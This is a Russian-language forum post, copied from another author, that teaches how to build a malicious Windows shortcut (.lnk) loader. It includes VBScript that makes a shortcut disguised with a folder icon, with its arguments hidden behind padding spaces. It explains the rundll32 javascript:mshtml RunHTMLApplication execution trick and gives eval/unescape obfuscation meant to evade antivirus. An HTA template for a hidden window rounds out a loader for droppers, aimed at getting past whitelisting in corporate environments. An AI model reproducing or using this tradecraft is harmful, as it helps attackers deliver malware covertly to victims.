Loader .lnk
▄︻デEscrow_Ads══━一Предупреждаю о том что статья составлена не мной а чистый копипаст, но так как мы с Вами развиваемся во всех направлениях, я счёл нужным показать эту статью и Вам
(Коварная оболочка)
Первое и основное - нужно сделать сам ярлык, да да - самый обычный LNK

Собственно у кого-то будет вопрос, почему-же в свойствах ярлыка ничего не видно?
Ответ достаточно просто, конкретно этот диалог Windows берет свое начало с очень очень очень древних времен Windows 95, и те кто видел утекшие исходники проводника - знают, что размер поля которое там отображается умышленно ограниченно переменной MAX_PATH (если кратко - то 1+2+256+1 = 260 байт), причем вне зависимости для какого поля. И хотя сам стандарт на ярлык разрешает использовать и большую длинну, по факту она просто не отображается, что и играет на руку.
Подробнее про MAX_PATH и прочее можно подчерпнуть по ссылке - https://docs.microsoft.com/ru-ru/windows/de...-a-file#maxpath
Для того чтобы реализовать задуманное - необходимо прописать путь до файла - %SystemRoot%\System32\rundll32.exe, а передаваемые аргументы (см. CreateProcessW) уже как строку в которой первые 260+1 символ - пробелы. На функционал это никак не влияет, зато позволяет скрыть от обыватель весь функционал. Те кто думает что длина свойства Arguments у ярлыка резиновая - то зря, хоть теоретический лимит и 32к-1, но по факту это далеко не так и место стоит экономить лишний раз.
Следующий код будет делать очень легко нужный ярлычок
// сохранить как lnk.vbs
// запускать как cscript lnk.vbs
// создаем объект wso для доступа к интерфейсам оболочки
Set wso = WScript.CreateObject("WScript.Shell")
// создаем объект ярлыка со ссылкой на output.lnk
Set oLink = wso.CreateShortcut("output.lnk")
// имя целевого объекта rundll32.exe
oLink.TargetPath = "rundll32.exe"
// аргументы которые будут сгенерированы особым образом (ниже будет расписано как)
oLink.Arguments = "(сгенерированный код...)"
// описание которое будет оторажено при наведение мышкой на ярлык
oLink.Description = "(описание в ярлыке)"
// иконка которая будет видна у ярлыка, в данном примере - стандартная иконка проводника, для маскировки под папку, номер после имени указывается на индекс иконки в секции ресурсов
oLink.IconLocation = "C:\Windows\explorer.exe,0"
// стиль отображения окна - 7 (Minimized)
oLink.WindowStyle = "7"
// рабочая папка приложения - %SystemRoot%\system32\
oLink.WorkingDirectory = "C:\Windows\system32\"
// обновляем и сохраняем файл ярлыка
oLink.Save
(Как подобрать иконку должным образом?)
Для этого нам потребуется супер утилита по работе с ресурсами Resource Hacker - http://www.angusj.com/resourcehacker/#download
Скачиваем ее и запускаем, дальше выбираем доноров иконок
- если эмуляция под проводник - C:\windows\explorer.exe
- если эмуляция под блокном - C:\windows\notepad.exe
- если эмуялция под установщик - C:\windows\system32\msiexec.exe
- если эмуляция под какой-то файл или еще что-то - C:\windows\system32\shell32.dll
Пример для explorer.exe

Для того чтобы не потеряться с тем какой номер иконки указывать, нужно знать 2 правила
- порядковый номер иконки в Icon Group соответствует номеру в файле
- номера начинаются с 0
(Вы хотите поговорить о Бо...а не - о запуске)
Всего существует 4 основных и распространенных способа запуска боевого контента из ярлыка
- Запуск по средством "cmd.exe /c echo ssss > filename & filename ..." или подобное ( https://attack.mitre.org/techniques/T1059/ )
- Запуск по средством "powershell ..." тут тоже все достаточно просто ( https://attack.mitre.org/techniques/T1086/ )
- Запуск по средством "mshta" даже комментить смысла нету, поскольку это тупо mshta java script:... да и часто mshta в черных списках АВ ( https://attack.mitre.org/techniques/T1170/ )
- Запуск по средством "rundll32 ..." (способ с 2004 года известен благодаря Trojan.Win32.Powerliks.a)
Поскольку на 1-3 варианты АВ уже орут без разбора, остался только только 4ий, собственно его и будем использовать
Описание способа достаточно простое, это запуск JavaScript кода по средством типовой команды
rundll32.exe java script:"\..\mshtml,RunHTMLApplication ";javascript-code
Поскольку такая строка часто вводит в заблуждение даже тех кто очень знаком со всеми особенностями Windows, я распишу особо детально как это работает

1) rundll32.exe
- Проверяет разрядность системы, и запускает версию нужной разрядности которая установлена в системе
- Производит парсинг командной строки и выделяет из нее строку java script:"\..\mshtml"
- Делает попытку загрузить библиотеку по абсолютному пути (неудачно)
- Делает попытку загрузить библиотеку из текущего рабочего каталога с которого был произведен запуск (неудачно)
- Пытается найти внешний служебный манифест приложения (для возможной AppCompatShim настройки) по адресу java script:"\..\mshtml.manifest (неудачно)
- Передает управления LoadLibrary для последующей попытки загрузки
2) LoadLibrary
- Пытается восстановить каноническое имя библиотеки путем добавления расширения .dll и загрузить библиотеку по имени java script:"\..\mshtml.dll (неудачно) и при этом последующие попытки будут использовать уже восстановленное имя
- Делается предположение что путь относительный, где root dir это java script:"\ что в сумме с ..\mshtml.dll означает - загрузить на уровень выше (неудачно)
- Делается попытка загрузить библиотеку (mshtml.dll) из системной директории (%SystemRoot%\System32) собирая в полный путь - %SystemRoot%\System32\mshtml.dll (успешно)
- Происходит маппинг библиотеки в адресное пространство rundll32.exe
- Возврат управления в rundll32.exe
3) rundll32.exe
- По средством GetProcAddress происходит поиск функции RunHTMLApplication
- Происходит вызов STDCALL функции RunHTMLApplication с прототипом стандартным для RUNDLL32_ENTRYPOIN - https://support.microsoft.com/en-us/help/16...dll32-interface
HRESULT WINAPI RunHTMLApplication( HINSTANCE hinst, HINSTANCE hPrevInst, LPSTR szCmdLine, INT nCmdShow )
- Передается управление в RunHTMLApplication
4) RunHTMLApplication
- Попытка выполнить команду из szCmdLine = ";javascript-code" (неудачно, поскольку код невалиден)
- Поскольку полученная строка невалидна, то функция пытается получить по средством GetCommandLineA/W (зависит от версии Windows) оригинальный полный путь - java script:"\..\mshtml,RunHTMLApplication ";javascript-code
- Пытается открыть файл по этому адресу java script:"\..\mshtml,RunHTMLApplication ";javascript-code
- Поскольку путь является протоколом по адресу javascript, то активируется Microsoft HTML Javascript Pluggable Protocol Transport, который зарегистрирован в системе по умолчанию за Trident Engine (Internet Explorer)
- Передается управления соотвествующему обработчику данного протокола, что по сути приводит к исполнению JavaScript кода "\..\mshtml,RunHTMLApplication ";javascript-code
- Происходит исполнение кода, которые в свою очередь разделяет исходную строку "\..\mshtml,RunHTMLApplication ";javascript-code на 3 токена:
- Передается управление на javascript-code

5) javascript-code
Происходит фактическое выполнение боевой нагрузки
Кто хочет почитать про реверс Powerliks - велком https://thisissecurity.stormshield.com/2014...line-confusion/
(Особенность подготовки javascript-code)
Поскольку большинство АВ уже видеть не могут document.write - необходимо сделать некоторый обход этого всего детекта, как вариант - можно весь код перекодировать в escape sequense через функцию escape и дальше преобразовать. Для пример alert(1); будет выглядеть после преобразования как eval(unescape("alert%281%29%20%3B"))
И как говорят... и так сойдет :D
(Подготовка лоадера для лоадера)
Поскольку javascript-code будет фактически запускаться в контексте HTA, необходимо добавить ему парочку особых необходимых частей, чтобы он был выполнен в full trust окружении, поскольку это крайне важно - если этот ярлык будет запущен на серверной версии Windows или же в корпоративном окружении ограниченном политиками безопасности.
Будем делать в 2 слоя:
- Первый слой делает простой document.write - что заставляет перезагрузить DOM и обновить движок в режим рендера HTA
А чтобы не иметь проблем со строками, то инкапсулируем их в function comment string, которая преобразует строку "hello" в код вида (function(){/*hello*/}).toString().slice(14,-4)

Безусловно код будет не стольк красивым, но зато исключает скобки " и ' вида
p.s. в коде ошибки нету и для MSHTA нужно указывать именно (14,-4), а не (14,-3)
- Непосредственно сам код с метками для HTA по удобной работе
Сначала обратимся к документации по HTA Application Format - https://docs.microsoft.com/en-us/previous-v...r/ie-developer/
Основа любого HTA приложение это заголовок который выглядит примерно так (из вики)

Нас интересуют только такие поля как:
- border - вид обрамления окна (возможные варианты - thin, dialog, none, thick) - нужен вариант none (т.е. без обрамления)
- borderStyle - стиль обрамления окна (возможные варианты - complex, normal, raised, static, sunken) - нужен вариант static (т.е. без возможности изменения размеров)
- caption - наличие заголовка у окна (yes/no) - нам нужен вариант no (чтобы юзер не видел элементы управления)
- showInTaskbar - отображение документа в панели задач Windows (yes/no) - нужен вариант no (чтобы окно не было видно в таск баре)
- windowState - исходный стиль размера окна (normal, minimize, и maximize) - minimize чтобы не смущать юзера лишними окнами
Остальные параметры не столько важны по сути и могут быть проигнорированы, таким образом финальный вариант шаблона кода будет иметь вид
<html> <head> <HTA:APPLICATION ID="SuperLoader" APPLICATIONNAME="SuperLoader" BORDER="none" BORDERSTYLE="static" CAPTION="no" SHOWINTASKBAR="no" WINDOWSTATE="minimize" /> <script language="javascript"> // КОД ЛОАДЕРА БУДЕТ ТУТ!!! </script> </head> <body></body> </html>
После упаковки в верхний слой, конечный вид будет примерно такой:
//(код делающий alert(1))
document.write(unescape((function(){/*%3Chtml%3E%3Chead%3E%3CHTA%3AAPPLICATION%20ID%3D%22SuperLoader%22%20APPLICATIONNAME%3D%22SuperLoader%22%20BORDER%3D%22none%22%20BORDERSTYLE%3D%22static%22%20CAPTION%3D%22no%22%20SHOWINTASKBAR%3D%22no%22%20WINDOWSTATE%3D%22minimize%22%20/%3E%3Cscript%20language%3Djavascript%3Ealert%281%29%3B%3C/script%3E%3C/head%3E%3Cbody%3E%3C/body%3E%3C/html%3E*/}).toString().slice(14,-4)))
(Простейший лоадер для загрузки дроппера)
Поскольку цель этой статьи сделать минимально рабочий прототип, я решил не париться и не придумывать какой-то жесткий изврат - поэтому лоадер будет простой, который грузит javascript код в немного упакованном виде, а тот уже по факту представляет из себя другой лоадер или дроппер, поскольку вариантов много, а нужна универсализация. За счет модульности это позволит упростить дальнейшую чистку и пересборку, ведь каждый отдельный модуль можно будет обрабатывать по отдельности.
(From the Ghastly Eyrie I can see to the ends of the world, and from this vantage point I declare with utter certainty that this one is in the bag!)
Теперь когда все готово, можно собрать все части воедино
Цель была получить простой, удобный и функциональный лоадер в виде .LNK файла, который будет неплохо себя показывать в тех юзкейсах где обычный .exe или .js не будет проходить так или иначе. Например в корпоративной среде, поскольку там есть белые списки на запуск приложений, поэтому вариант с запуском .exe (запрет по белым спискам), или же скриптов на .js через wscript/cscript будет просто невозможен.